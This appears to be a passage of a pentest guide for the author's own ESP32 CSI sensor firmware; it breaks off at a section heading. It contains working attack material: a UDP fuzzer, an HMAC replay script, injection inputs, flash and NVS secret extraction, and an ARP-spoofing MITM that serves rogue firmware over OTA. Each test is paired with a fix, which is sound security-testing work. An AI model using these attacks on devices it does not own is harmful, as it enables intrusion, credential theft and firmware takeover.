# ESP32 CSI Sensor Firmware -- Practical Pentest Guide **Target:** ESP32-WROOM-32 running `csi_recv_router` firmware (v1.11/v1.12) **ESP-IDF:** v5.5.2 | **Protocol:** UDP command/data on ports 5501/5500 **Lab:** Raspberry Pi 5 (Debian trixie), standard Linux tools, esptool.py, optional second ESP32 --- ## Table of Contents 1. [Lab Setup and Prerequisites](#1-lab-setup-and-prerequisites) 2. [Network Attack Surface](#2-network-attack-surface) 3. [Protocol Attacks](#3-protocol-attacks) 4. [Firmware Binary Analysis](#4-firmware-binary-analysis) 5. [Hardware Attacks](#5-hardware-attacks) 6. [OTA Attack Surface](#6-ota-attack-surface) 7. [Side-Channel Attacks](#7-side-channel-attacks) 8. [Dependency and CVE Analysis](#8-dependency-and-cve-analysis) 9. [Wireless Attacks](#9-wireless-attacks) 10. [Automated Test Scripts](#10-automated-test-scripts) --- ## 1. Lab Setup and Prerequisites ### Tools to Install ```bash # Network analysis sudo apt install -y nmap tcpdump tshark ncat socat # WiFi (requires compatible adapter -- see section 9) sudo apt install -y aircrack-ng mdk4 hostapd dnsmasq # Binary analysis sudo apt install -y binwalk xxd file # Python pentest libraries pip3 install --user scapy bleak pwntools # ESP32-specific pip3 install --user esptool # Ghidra (optional, for deep reverse engineering) # Download from https://ghidra-sre.org/ -- runs on RPi5 with JDK 17+ sudo apt install -y openjdk-17-jre ``` ### Network Topology Reference ``` Raspberry Pi 5 ESP32 Sensors 192.168.129.x 192.168.129.29 (muddy-storm) |-- eth0 / wlan0 192.168.129.30 (amber-maple) | 192.168.129.31 (hollow-acorn) | | +------------- LAN (WiFi) --------------+ Ports: 5500/udp CSI data (outbound) 5501/udp Commands (inbound) 5353/udp mDNS ``` ### Quick Connectivity Check ```bash # Verify sensors are reachable for ip in 192.168.129.{29,30,31}; do echo "STATUS" | ncat -u -w1 "$ip" 5501 done ``` --- ## 2. Network Attack Surface ### 2.1 Service Discovery via mDNS | Field | Value | |-------|-------| | **Tests** | Information leakage via mDNS; device enumeration without auth | | **Tools** | `avahi-browse`, `dig`, `nmap` | | **Finding** | Device hostname, service type `_esp-csi._udp`, target port exposed | | **Fix** | Remove instance name "ESP32 CSI Sensor"; consider disabling mDNS in production | ```bash # Enumerate all ESP32 CSI sensors on the LAN avahi-browse -art 2>/dev/null | grep -A4 '_esp-csi' # Alternative using DNS-SD query dig @224.0.0.251 -p 5353 -t PTR _esp-csi._udp.local +short # Nmap mDNS service scan nmap -sU -p 5353 --script=dns-service-discovery 192.168.129.0/24 ``` **What a finding looks like:** ``` = muddy-storm [ESP32 CSI Sensor] _esp-csi._udp; port=5500 = amber-maple [ESP32 CSI Sensor] _esp-csi._udp; port=5500 ``` All three sensors fully enumerable without any authentication. --- ### 2.2 Port Scanning and Service Fingerprinting | Field | Value | |-------|-------| | **Tests** | Open ports, unexpected services, UDP response behavior | | **Tools** | `nmap` | | **Finding** | Open UDP ports 5500, 5501 visible; responses leak firmware version | | **Fix** | Bind to specific interface IP; require auth for STATUS | ```bash # Full UDP port scan on a single sensor nmap -sU -p- --min-rate=1000 192.168.129.29 # Targeted scan with version detection nmap -sUV -p 5500,5501,5353 192.168.129.29 # Scan all three sensors nmap -sU -p 5500,5501,5353 192.168.129.29-31 ``` --- ### 2.3 Traffic Sniffing (Passive) | Field | Value | |-------|-------| | **Tests** | Cleartext data exposure; credential leakage; command replay material | | **Tools** | `tcpdump`, `tshark` | | **Finding** | All CSI data, BLE data, commands, HMAC tokens visible in cleartext | | **Fix** | DTLS for command channel; encrypted data stream (stretch goal) | ```bash # Capture all ESP32 sensor traffic sudo tcpdump -i eth0 -nn 'udp and (port 5500 or port 5501)' -w esp32-capture.pcap # Live decode -- see commands and responses sudo tcpdump -i eth0 -nn -A 'udp port 5501' # Extract only command/response pairs with tshark tshark -r esp32-capture.pcap -Y 'udp.port == 5501' \ -T fields -e ip.src -e ip.dst -e data.text # Watch for HMAC tokens in transit (to capture for replay testing) sudo tcpdump -i eth0 -nn -A 'udp port 5501' | grep 'HMAC:' ``` **What a finding looks like:** ``` 192.168.129.1.42310 > 192.168.129.29.5501: HMAC:a1b2c3d4....:1234:OTA http://192.168.129.1:8899/fw.bin 192.168.129.29.5501 > 192.168.129.1.42310: OK OTA started ``` Complete HMAC token, timestamp, and command visible to any host on the same network segment. --- ### 2.4 UDP Fuzzing | Field | Value | |-------|-------| | **Tests** | Crash resilience; buffer overflow; malformed input handling | | **Tools** | Python + `socket`, `radamsa` (if installed), custom scripts | | **Finding** | Device crash/reboot on malformed input = memory safety bug | | **Fix** | Bounds checks on all input paths; watchdog recovery | ```bash # Install radamsa (mutation fuzzer) sudo apt install -y radamsa # Generate a corpus of valid commands cat > /tmp/udp-corpus.txt << 'EOF' STATUS CONFIG PING HELP RATE 50 POWER 10 CSI ON CSI OFF BLE ON BLE OFF ADAPTIVE ON ADAPTIVE OFF PRESENCE ON PRESENCE OFF CALIBRATE 100 CALIBRATE CLEAR CALIBRATE STATUS CSIMODE RAW CSIMODE COMPACT CSIMODE HYBRID 10 CHANSCAN NOW CHANSCAN ON 300 LED QUIET LED AUTO LOG VERBOSE LOG NONE ALERT TEMP 70 ALERT HEAP 30000 ALERT OFF FLOODTHRESH 5 10 IDENTIFY HOSTNAME test-name TARGET 192.168.129.1 5500 EOF ``` ```python #!/usr/bin/env python3 """udp_fuzz.py -- Fuzz ESP32 command port with malformed packets.""" import socket import random import time import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.129.29" PORT = 5501 ITERATIONS = 10000 # Seed corpus COMMANDS = [ b"STATUS", b"CONFIG", b"PING", b"HELP", b"RATE 50", b"POWER 10", b"CSI ON", b"BLE ON", b"CALIBRATE 100", b"CSIMODE RAW", b"HOSTNAME test", b"TARGET 1.1.1.1 5500", b"HMAC:0000000000000000000000000000000:0:STATUS", ] def mutate(data: bytes) -> bytes: """Simple mutation strategies.""" strategy = random.randint(0, 7) d = bytearray(data) if strategy == 0 and len(d) > 0: # Bit flip idx = random.randint(0, len(d) - 1) d[idx] ^= (1 << random.randint(0, 7)) elif strategy == 1: # Append random bytes d.extend(random.randbytes(random.randint(1, 200))) elif strategy == 2: # Truncate if len(d) > 1: d = d[:random.randint(1, len(d) - 1)] elif strategy == 3: # Insert null bytes idx = random.randint(0, len(d)) d[idx:idx] = b'\x00' * random.randint(1, 10) elif strategy == 4: # Oversized packet (near MTU limit) d = random.randbytes(random.randint(192, 1400)) elif strategy == 5: # Format string specifiers d = b"STATUS %x%x%x%x%x%x%x%x%n%n" elif strategy == 6: # Very long single field d = b"RATE " + b"9" * random.randint(50, 500) elif strategy == 7: # Repeated separator characters d = b" ".join([b"CMD"] * random.randint(50, 200)) return bytes(d) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(0.2) alive_count = 0 for i in range(ITERATIONS): seed = random.choice(COMMANDS) payload = mutate(seed) try: sock.sendto(payload, (TARGET, PORT)) except OSError: pass # Periodic liveness check if i % 100 == 0: try: sock.sendto(b"PING", (TARGET, PORT)) resp, _ = sock.recvfrom(1500) if b"PONG" in resp: alive_count += 1 else: print(f"[!] Iteration {i}: unexpected response: {resp[:60]}") except socket.timeout: print(f"[!] Iteration {i}: DEVICE NOT RESPONDING -- possible crash!") time.sleep(5) # Wait for reboot try: sock.sendto(b"PING", (TARGET, PORT)) sock.recvfrom(1500) print(f"[+] Device recovered (rebooted)") except socket.timeout: print(f"[!!] Device still down after 5s") break # Rate limit to avoid overwhelming (50ms between sends, matching firmware throttle) time.sleep(0.055) print(f"Completed {ITERATIONS} iterations, {alive_count} liveness checks passed") sock.close() ``` **What a finding looks like:** - Device stops responding to PING after a specific mutation = crash - Device reboots (boot count increments) = unhandled exception - Log `[!!] Device still down after 5s` = hard fault --- ## 3. Protocol Attacks ### 3.1 HMAC Timing Analysis | Field | Value | |-------|-------| | **Tests** | Whether HMAC comparison leaks timing information | | **Tools** | Python + high-resolution timing | | **Finding** | Statistically significant timing difference between "first byte wrong" vs "last byte wrong" | | **Fix** | Already implemented: constant-time comparison (line 1525 of `app_main.c`) | The firmware uses `volatile uint8_t diff` with XOR accumulation (line 1524-1528), which is the correct pattern. This test validates that it actually works over the network. ```python #!/usr/bin/env python3 """hmac_timing.py -- Test for timing oracle in HMAC verification.""" import socket import time import statistics TARGET = "192.168.129.29" PORT = 5501 SAMPLES = 200 def measure_response(payload: bytes) -> float | None: """Send payload, measure response time in microseconds.""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(1.0) start = time.perf_counter_ns() sock.sendto(payload, (TARGET, PORT)) try: sock.recvfrom(1500) except socket.timeout: sock.close() return None elapsed = (time.perf_counter_ns() - start) / 1000 # microseconds sock.close() return elapsed # Test 1: All zeros HMAC (fails on first byte) all_zeros = b"HMAC:00000000000000000000000000000000:0:STATUS" # Test 2: HMAC with correct prefix but wrong suffix (if we knew partial secret) # For blind testing, use different wrong values half_right = b"HMAC:ffffffffffffffffffffffffffffffff:0:STATUS" # Test 3: Malformed (no HMAC at all, different code path) no_hmac = b"STATUS" print("Collecting timing samples...") timings = {"all_zeros": [], "all_ff": [], "no_hmac": []} for i in range(SAMPLES): t = measure_response(all_zeros) if t: timings["all_zeros"].append(t) time.sleep(0.06) t = measure_response(half_right) if t: timings["all_ff"].append(t) time.sleep(0.06) t = measure_response(no_hmac) if t: timings["no_hmac"].append(t) time.sleep(0.06) for name, samples in timings.items(): if samples: print(f"{name:12s}: n={len(samples):4d} " f"mean={statistics.mean(samples):8.0f}us " f"median={statistics.median(samples):8.0f}us " f"stdev={statistics.stdev(samples):7.0f}us") # Statistical test: if mean differs by >50us between zero/ff, possible timing leak if timings["all_zeros"] and timings["all_ff"]: diff = abs(statistics.mean(timings["all_zeros"]) - statistics.mean(timings["all_ff"])) print(f"\nTiming difference (zeros vs ff): {diff:.0f}us") if diff > 50: print("[!] POSSIBLE TIMING ORACLE -- difference exceeds 50us") else: print("[+] Constant-time comparison appears effective") ``` **What a finding looks like:** A statistically significant difference (>50us) between different wrong HMACs would indicate the comparison is not constant-time. Network jitter on a LAN is typically 100-500us, so this test requires many samples and careful interpretation. --- ### 3.2 Replay Attack (Nonce Cache Overflow) | Field | Value | |-------|-------| | **Tests** | Whether the 8-entry nonce dedup cache can be overflowed to replay commands | | **Tools** | Python + `hmac` | | **Finding** | After 8 unique authenticated commands, the first one's nonce is evicted and can be replayed | | **Fix** | Increase cache size; use monotonic sequence counter instead of timestamp | The nonce cache is only 8 entries (line 1450: `AUTH_NONCE_CACHE_SIZE 8`). The timestamp window is +/-5 seconds. Attack: send 8 unique commands rapidly to fill the cache, then replay the first one. ```python #!/usr/bin/env python3 """replay_attack.py -- Test nonce cache overflow for HMAC replay.""" import hashlib import hmac import socket import time TARGET = "192.168.129.29" PORT = 5501 SECRET = "YOUR_SECRET_HERE" # from NVS or serial capture def sign(cmd: str, ts: int) -> bytes: payload = f"{ts}:{cmd}" digest = hmac.new(SECRET.encode(), payload.encode(), hashlib.sha256).hexdigest() return f"HMAC:{digest[:32]}:{payload}".encode() def send_cmd(sock, payload: bytes) -> str: sock.sendto(payload, (TARGET, PORT)) try: resp, _ = sock.recvfrom(1500) return resp.decode(errors="replace") except socket.timeout: return "" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(1.0) # Step 1: Get device uptime from STATUS sock.sendto(b"STATUS", (TARGET, PORT)) resp = sock.recvfrom(1500)[0].decode() # Parse uptime from STATUS response (format: "uptime=1234s") uptime = 0 for field in resp.split(): if field.startswith("uptime="): uptime = int(field.split("=")[1].rstrip("s")) print(f"Device uptime: {uptime}s") # Step 2: Sign a target command at current timestamp target_ts = uptime target_cmd = sign("STATUS", target_ts) print(f"\n[1] Initial send of target command:") print(f" Response: {send_cmd(sock, target_cmd)[:60]}") time.sleep(0.06) # Step 3: Replay immediately -- should be rejected print(f"\n[2] Immediate replay (should be rejected):") print(f" Response: {send_cmd(sock, target_cmd)[:60]}") time.sleep(0.06) # Step 4: Flood cache with 8 different commands to evict the target nonce print(f"\n[3] Flooding nonce cache with 8 unique commands...") for i in range(8): # Use different commands with same timestamp (within window) filler = sign(f"PING", target_ts + i % 5) # vary slightly resp = send_cmd(sock, filler) time.sleep(0.06) # Step 5: Replay the original command -- should now succeed (cache evicted) print(f"\n[4] Replaying original command after cache overflow:") resp = send_cmd(sock, target_cmd) print(f" Response: {resp[:60]}") if "ERR AUTH replay" in resp: print("\n[+] Replay correctly rejected -- cache survived overflow") elif "ERR AUTH expired" in resp: print("\n[~] Timestamp expired -- test took too long, retry faster") else: print("\n[!] REPLAY SUCCEEDED -- nonce cache overflow confirmed!") sock.close() ``` **What a finding looks like:** Step 4 returns a valid response instead of `ERR AUTH replay rejected` = the 8-entry nonce cache was overflowed and the original HMAC was replayed. --- ### 3.3 Unauthenticated Command Abuse | Field | Value | |-------|-------| | **Tests** | Which state-modifying commands work without HMAC authentication | | **Tools** | `ncat`, simple shell loop | | **Finding** | CSI OFF, PRESENCE OFF, LOG NONE, CALIBRATE CLEAR, etc. all work without auth | | **Fix** | Require auth for all state-modifying commands (see VULN-007 in SECURITY-AUDIT.md) | ```bash # Test every command that modifies state without auth SENSOR="192.168.129.29" # Commands that SHOULD require auth but currently don't: for cmd in \ "CSI OFF" \ "PRESENCE OFF" \ "LOG NONE" \ "CALIBRATE CLEAR" \ "FLOODTHRESH 100 300" \ "ALERT OFF" \ "RATE 10" \ "POWER 2" \ "BLE OFF" \ "ADAPTIVE OFF" \ "LED AUTO" \ "CSIMODE COMPACT" \ "CHANSCAN ON 60" \ "POWERSAVE ON" do resp=$(echo "$cmd" | ncat -u -w1 "$SENSOR" 5501) if echo "$resp" | grep -q "^OK\|^ERR AUTH"; then prefix=$(echo "$resp" | grep -q "^OK" && echo "VULN" || echo "SAFE") printf "%-25s %s %s\n" "$cmd" "$prefix" "$resp" fi done ``` **What a finding looks like:** ``` CSI OFF VULN OK CSI collection disabled PRESENCE OFF VULN OK presence detection disabled LOG NONE VULN OK log level=NONE CALIBRATE CLEAR VULN OK baseline cleared FLOODTHRESH 100 300 VULN OK flood_thresh=100 window=300s ``` An attacker can blind all sensors, suppress logging, disable intrusion detection, all without any credentials. --- ### 3.4 Command Injection via String Fields | Field | Value | |-------|-------| | **Tests** | Whether attacker-controlled strings (HOSTNAME, TARGET) can inject into log output, NVS, or data streams | | **Tools** | `ncat` | | **Finding** | Hostname with newlines/special chars could poison downstream log parsers or CSV data | | **Fix** | Sanitize hostname to `[a-z0-9-]` only; already partially done but verify | ```bash SENSOR="192.168.129.29" # Test format string injection in hostname echo "HOSTNAME %x%x%x%x" | ncat -u -w1 "$SENSOR" 5501 # Test newline injection (could split CSV/log lines) printf "HOSTNAME test\nINJECT" | ncat -u -w1 "$SENSOR" 5501 # Test null byte injection printf "HOSTNAME test\x00hidden" | ncat -u -w1 "$SENSOR" 5501 # Test oversized hostname (buffer is char[32]) echo "HOSTNAME $(python3 -c 'print("A"*100)')" | ncat -u -w1 "$SENSOR" 5501 # Test TARGET with format strings echo "TARGET %s%s%s%s 5500" | ncat -u -w1 "$SENSOR" 5501 ``` **What a finding looks like:** - Response contains hex values from stack = format string vulnerability - Subsequent STATUS shows corrupted hostname = buffer overflow - CSV data stream contains injected lines = log injection --- ### 3.5 UDP Data Stream Interception and Injection | Field | Value | |-------|-------| | **Tests** | Whether an attacker can inject fake CSI/BLE/PROBE data into the collector | | **Tools** | Python `socket` | | **Finding** | No authentication on the data channel (port 5500); any host can inject fake sensor data | | **Fix** | Add HMAC signing to data packets; or validate source IP at collector | ```python #!/usr/bin/env python3 """inject_data.py -- Inject fake sensor data into the collection server.""" import socket COLLECTOR = "192.168.129.1" # Flask API host PORT = 5500 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Inject fake CSI data pretending to be muddy-storm fake_csi = ( "CSI_DATA,muddy-storm,999999,AA:BB:CC:DD:EE:FF,-50,11,1,0,0,0,0,0,0," "0,0,-95,0,6,0,1234567,0,128,0,64,0,\"[0,0,0,0]\"\n" ) sock.sendto(fake_csi.encode(), (COLLECTOR, PORT)) # Inject fake BLE data (phantom device) fake_ble = "BLE_DATA,muddy-storm,DE:AD:BE:EF:00:01,-60,ADV_IND,FakeDevice,0x004C,8,6\n" sock.sendto(fake_ble.encode(), (COLLECTOR, PORT)) # Inject fake probe request (phantom device tracking) fake_probe = "PROBE_DATA,muddy-storm,DE:AD:BE:EF:00:02,-55,TargetSSID,6\n" sock.sendto(fake_probe.encode(), (COLLECTOR, PORT)) # Inject fake alert (false alarm) fake_alert = "ALERT_DATA,muddy-storm,DEAUTH,DE:AD:BE:EF:00:03,FF:FF:FF:FF:FF:FF,-40\n" sock.sendto(fake_alert.encode(), (COLLECTOR, PORT)) print("Fake data injected -- check Flask API for phantom entries") sock.close() ``` --- ## 4. Firmware Binary Analysis ### 4.1 String Extraction | Field | Value | |-------|-------| | **Tests** | Hardcoded secrets, URLs, IPs, debug messages, format strings | | **Tools** | `strings`, `grep` | | **Finding** | WiFi SSID/password, auth hints, API endpoints, build paths in binary | | **Fix** | Enable flash encryption; strip debug strings in production | ```bash FIRMWARE="/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin" # Extract all printable strings (min length 6) strings -n 6 "$FIRMWARE" > /tmp/fw-strings.txt wc -l /tmp/fw-strings.txt # Search for credentials and sensitive patterns grep -iE 'password|passwd|secret|key|token|api_key|ssid' /tmp/fw-strings.txt grep -iE 'http://|https://|ftp://' /tmp/fw-strings.txt grep -iE '192\.168\.|10\.|172\.' /tmp/fw-strings.txt grep -iE 'admin|root|default|test|debug' /tmp/fw-strings.txt # Search for format strings (potential vulnerability indicators) grep -E '%[0-9]*[sxdnp]' /tmp/fw-strings.txt # Search for NVS key names (reveals all configuration knobs) grep -E '^[a-z_]{3,15}$' /tmp/fw-strings.txt | sort -u # Search for ESP-IDF version and build info grep -iE 'idf|esp-idf|v[0-9]+\.[0-9]+' /tmp/fw-strings.txt # Search for certificate/TLS related strings grep -iE 'cert|tls|ssl|ca_cert|pem|x509' /tmp/fw-strings.txt ``` **What a finding looks like:** ``` csi_config <- NVS namespace auth_secret <- Key name for HMAC secret WIFI_SSID_HERE <- Hardcoded SSID http:// <- HTTP (not HTTPS) OTA allowed ``` --- ### 4.2 Binary Structure Analysis | Field | Value | |-------|-------| | **Tests** | Firmware format, partition layout, bootloader version | | **Tools** | `esptool.py`, `binwalk`, `file` | | **Finding** | Partition offsets, firmware not signed, flash encryption absent | | **Fix** | Enable secure boot v2; enable flash encryption | ```bash FIRMWARE="/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin" # Image header info esptool.py image_info "$FIRMWARE" # Entropy analysis (encrypted firmware has high, uniform entropy) binwalk -E "$FIRMWARE" # If entropy is NOT uniformly high, flash encryption is not in use # Search for embedded files/structures binwalk "$FIRMWARE" # Check for ELF sections (if .elf is available) ELF="/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.elf" if [ -f "$ELF" ]; then # List all symbols (reveals function names and global variables) objdump -t "$ELF" | grep -E 's_auth|s_target|s_hostname|cmd_handle|auth_verify' # Disassemble specific function objdump -d "$ELF" | grep -A 50 '' # Check for debug info file "$ELF" # "not stripped" = full debug symbols present fi ``` --- ### 4.3 NVS Partition Analysis (from flash dump) | Field | Value | |-------|-------| | **Tests** | Extract credentials, auth secret, WiFi PSK from NVS | | **Tools** | `esptool.py`, ESP-IDF `nvs_tool.py` | | **Finding** | Auth secret, WiFi credentials, hostname in plaintext NVS | | **Fix** | Enable NVS encryption (`CONFIG_NVS_ENCRYPTION=y`) + flash encryption | ```bash # Step 1: Dump NVS partition from device (requires USB connection) esptool.py -p /dev/ttyUSB0 -b 921600 \ read_flash 0x9000 0x4000 /tmp/nvs_dump.bin # Step 2: Parse NVS contents using ESP-IDF tool NVS_TOOL="$HOME/esp/esp-idf/components/nvs_flash/nvs_partition_tool/nvs_tool.py" python3 "$NVS_TOOL" --dump /tmp/nvs_dump.bin # Step 3: Look for specific keys python3 "$NVS_TOOL" --dump /tmp/nvs_dump.bin 2>/dev/null | \ grep -E 'auth_secret|wifi\.sta\.(ssid|password)|hostname|target_ip' # Alternative: hex dump and manual inspection xxd /tmp/nvs_dump.bin | grep -i -A2 'auth' ``` **What a finding looks like:** ``` Namespace: csi_config auth_secret (STR) = a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 hostname (STR) = muddy-storm Namespace: nvs.net80211 sta.ssid (BLOB) = MyHomeWiFi sta.pswd (BLOB) = MyWiFiPassword123 ``` Both the HMAC secret and WiFi credentials extracted in plaintext. --- ## 5. Hardware Attacks ### 5.1 UART Console Capture | Field | Value | |-------|-------| | **Tests** | Information leakage via serial; auth secret exposure on boot | | **Tools** | `screen`, `minicom`, `picocom`, USB-to-serial adapter | | **Finding** | Full boot log with auth secret prefix, all ESP_LOG output | | **Fix** | `CONFIG_ESP_CONSOLE_NONE=y` or `CONFIG_LOG_DEFAULT_LEVEL_WARN=y` for production | ```bash # Connect to UART (ESP32-DevKitC has built-in USB-to-serial) picocom -b 921600 /dev/ttyUSB0 # Or with screen screen /dev/ttyUSB0 921600 # Capture boot log to file (includes auth secret on first boot/factory reset) picocom -b 921600 --logfile /tmp/uart-capture.log /dev/ttyUSB0 # Then trigger a factory reset remotely (if you have auth): # echo "HMAC::FACTORY" | ncat -u -w1 192.168.129.29 5501 # The new auth secret will appear in the UART log ``` **What a finding looks like:** ``` W (1234) csi_recv_router: AUTH: secret generated (a1b2... -- retrieve via serial or NVS) ``` On firmware versions before the partial-redaction fix, the full 32-char secret was logged. Current version logs only first 4 chars, but the prefix still aids brute-force. --- ### 5.2 Full Flash Dump and Analysis | Field | Value | |-------|-------| | **Tests** | Complete firmware extraction; credential theft; code modification | | **Tools** | `esptool.py` | | **Finding** | Entire flash readable (no flash encryption); firmware modifiable (no secure boot) | | **Fix** | Enable secure boot v2 + flash encryption (one-way eFuse burn for production) | ```bash # Dump entire 4MB flash esptool.py -p /dev/ttyUSB0 -b 921600 \ read_flash 0 0x400000 /tmp/full_flash_dump.bin # Extract individual partitions based on partition table: # NVS: 0x9000 - 0xCFFF (16 KB) # otadata: 0xD000 - 0xEFFF (8 KB) # phy_init: 0xF000 - 0xFFFF (4 KB) # ota_0: 0x10000 - 0x1EFFFF (1920 KB) # ota_1: 0x1F0000- 0x3CFFFF (1920 KB) dd if=/tmp/full_flash_dump.bin of=/tmp/nvs.bin bs=1 skip=$((0x9000)) count=$((0x4000)) dd if=/tmp/full_flash_dump.bin of=/tmp/ota0.bin bs=1 skip=$((0x10000)) count=$((0x1E0000)) dd if=/tmp/full_flash_dump.bin of=/tmp/ota1.bin bs=1 skip=$((0x1F0000)) count=$((0x1E0000)) # Check if flash encryption is active (encrypted flash has high entropy) binwalk -E /tmp/ota0.bin # Flat entropy ~0.5-0.7 = NOT encrypted # Flat entropy ~1.0 = encrypted # Write modified firmware back (no secure boot = no signature check) # WARNING: This bricks the device if you write garbage # esptool.py -p /dev/ttyUSB0 write_flash 0x10000 /tmp/modified_ota0.bin ``` --- ### 5.3 JTAG Debug Access | Field | Value | |-------|-------| | **Tests** | Whether JTAG is accessible; live memory inspection; breakpoints | | **Tools** | OpenOCD + GDB, JTAG adapter (FT2232H or ESP-PROG, ~$15) | | **Finding** | JTAG not disabled via eFuse; live debugging possible; memory readable at runtime | | **Fix** | Burn JTAG disable eFuse: `espefuse.py burn_efuse JTAG_DISABLE` (irreversible) | ESP32-WROOM-32 JTAG pins (directly on the ESP32 chip, not broken out on most DevKitC boards): | JTAG Signal | GPIO | |-------------|------| | TDI | GPIO 12 | | TCK | GPIO 13 | | TMS | GPIO 14 | | TDO | GPIO 15 | ```bash # Install OpenOCD for ESP32 sudo apt install -y openocd # If using an FT2232H adapter: # Connect JTAG pins to the adapter, then: openocd -f interface/ftdi/esp32_devkitj_v1.cfg -f target/esp32.cfg # In another terminal, connect GDB: # (requires xtensa-esp32-elf-gdb from ESP-IDF toolchain) xtensa-esp32-elf-gdb /home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.elf # (gdb) target remote :3333 # (gdb) monitor reset halt # (gdb) print s_auth_secret # Read HMAC secret from live memory # (gdb) print s_target_ip # Read target IP # (gdb) x/32bx &s_auth_secret # Hex dump of secret in memory ``` Note: Most ESP32-DevKitC boards do NOT break out JTAG pins, so this requires soldering wires to GPIO 12-15. On DevKitC V4 or ESP-PROG, JTAG is on a header. --- ### 5.4 eFuse Analysis | Field | Value | |-------|-------| | **Tests** | Secure boot status, flash encryption status, JTAG disable status | | **Tools** | `espefuse.py` (part of esptool) | | **Finding** | All security eFuses unburned = no hardware protections | | **Fix** | Burn appropriate eFuses for production (irreversible!) | ```bash # Read all eFuse values (non-destructive, read-only) espefuse.py -p /dev/ttyUSB0 summary # Check specific security-relevant eFuses: espefuse.py -p /dev/ttyUSB0 get_custom_mac # Check if custom MAC set espefuse.py -p /dev/ttyUSB0 summary 2>&1 | grep -iE 'JTAG|SECURE_BOOT|FLASH_ENCRYPT|ABS_DONE' ``` **What a finding looks like:** ``` JTAG_DISABLE (EFUSE_BLK0) = False <- JTAG accessible ABS_DONE_0 (EFUSE_BLK0) = False <- Secure boot NOT enabled FLASH_CRYPT_CNT (EFUSE_BLK0) = 0 <- Flash encryption NOT enabled ``` --- ## 6. OTA Attack Surface ### 6.1 MITM OTA with Rogue HTTP Server | Field | Value | |-------|-------| | **Tests** | Whether a MITM attacker can serve malicious firmware during OTA | | **Tools** | Python HTTP server, ARP spoofing (`arpspoof`/`ettercap`), `mitmproxy` | | **Finding** | OTA accepts any HTTP server; no TLS cert validation; no firmware signatures | | **Fix** | Disable `CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP`; add cert pinning; enable secure boot | ```bash # Step 1: Build a "canary" firmware that proves code execution # (Modify a non-critical string in the firmware, rebuild, and use as the payload) # Or use a known-good older version to test version rollback # Step 2: Serve it via HTTP cd /home/user/git/esp32-hacking/get-started/csi_recv_router/build/ python3 -m http.server 8899 # Step 3: Trigger OTA (requires auth if enabled) # If auth is enabled, compute HMAC first using esp-ctl's auth module: python3 -c " from esp_ctl.auth import sign_command import sys cmd = 'OTA http://192.168.129.1:8899/csi_recv_router.bin' # You need the device uptime -- get it from STATUS first print(sign_command(cmd, uptime_s=1234, secret='YOUR_SECRET')) " | ncat -u -w5 192.168.129.29 5501 # Step 4: If auth is disabled, no HMAC needed: echo "OTA http://192.168.129.1:8899/csi_recv_router.bin" | \ ncat -u -w5 192.168.129.29 5501 ``` ### 6.2 ARP-Based MITM for OTA Hijacking ```bash # Requires: dsniff package (contains arpspoof) sudo apt install -y dsniff # Step 1: Enable IP forwarding sudo sysctl -w net.ipv4.ip_forward=1 # Step 2: ARP poison -- pretend to be the gateway for the ESP32 # Gateway: 192.168.129.1, Target: 192.168.129.29 sudo arpspoof -i eth0 -t 192.168.129.29 192.168.129.1 & sudo arpspoof -i eth0 -t 192.168.129.1 192.168.129.29 & # Step 3: Use iptables to redirect HTTP traffic to local server sudo iptables -t nat -A PREROUTING -p tcp --dport 80 \ -j REDIRECT --to-port 8899 # Step 4: Serve malicious firmware on port 8899 cd /tmp && python3 -m http.server 8899 # Step 5: When OTA is triggered (by legitimate admin or attacker), # the ESP32's HTTP request is redirected to the rogue server. # Since CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=y, the firmware accepts it. # Cleanup: sudo killall arpspoof sudo iptables -t nat -F sudo sysctl -w net.ipv4.ip_forward=0 ``` --- ### 6.3 Firmware Rollback Attack | Field | Value | |-------|-------| | **Tests** | Whether older, vulnerable firmware versions can be flashed via OTA | | **Tools** | `esptool.py`, HTTP server | | **Finding** | No anti-rollback enforcement; any valid ESP32 image is accepted | | **Fix** | `CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK=y` with eFuse version counter | ```bash # Serve an older firmware version (e.g., v1.9 without auth hardening) # Assuming you have the older binary saved: python3 -m http.server 8899 --directory /path/to/old/builds/ # Trigger OTA with old binary echo "OTA http://192.168.129.1:8899/old-v1.9-firmware.bin" | \ ncat -u -w5 192.168.129.29 5501 # After reboot, the device runs the old, less-secure firmware. # Verify: echo "STATUS" | ncat -u -w1 192.168.129.29 5501 # Check the version= field in the response ``` **What a finding looks like:** STATUS response shows older firmware version running = rollback succeeded. --- ## 7. Side-Channel Attacks ### 7.1 Timing Oracle on Authentication Already covered in section 3.1. The firmware implements constant-time comparison (volatile XOR accumulation), so this is a validation test rather than an expected finding. ### 7.2 Timing Oracle on Command Routing | Field | Value | |-------|-------| | **Tests** | Whether response timing varies based on command validity (information leak) | | **Tools** | Python timing script | | **Finding** | Different commands take measurably different time = reveals which commands exist | | **Fix** | Normalize response time with a minimum delay | ```python #!/usr/bin/env python3 """cmd_timing.py -- Measure response times for various commands.""" import socket import time import statistics TARGET = "192.168.129.29" PORT = 5501 COMMANDS = [ b"STATUS", # Valid, complex response b"PING", # Valid, simple response b"NONEXISTENT", # Invalid command b"", # Empty b"A" * 191, # Max-length garbage b"OTA", # Valid but missing arg (should fail) b"REBOOT", # Valid but requires auth ] sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(2.0) for cmd in COMMANDS: times = [] for _ in range(50): start = time.perf_counter_ns() sock.sendto(cmd, (TARGET, PORT)) try: sock.recvfrom(1500) except socket.timeout: continue elapsed = (time.perf_counter_ns() - start) / 1000 times.append(elapsed) time.sleep(0.06) if times: label = cmd[:30].decode(errors="replace") print(f"{label:32s} n={len(times):3d} " f"mean={statistics.mean(times):8.0f}us " f"stdev={statistics.stdev(times):7.0f}us") sock.close() ``` --- ### 7.3 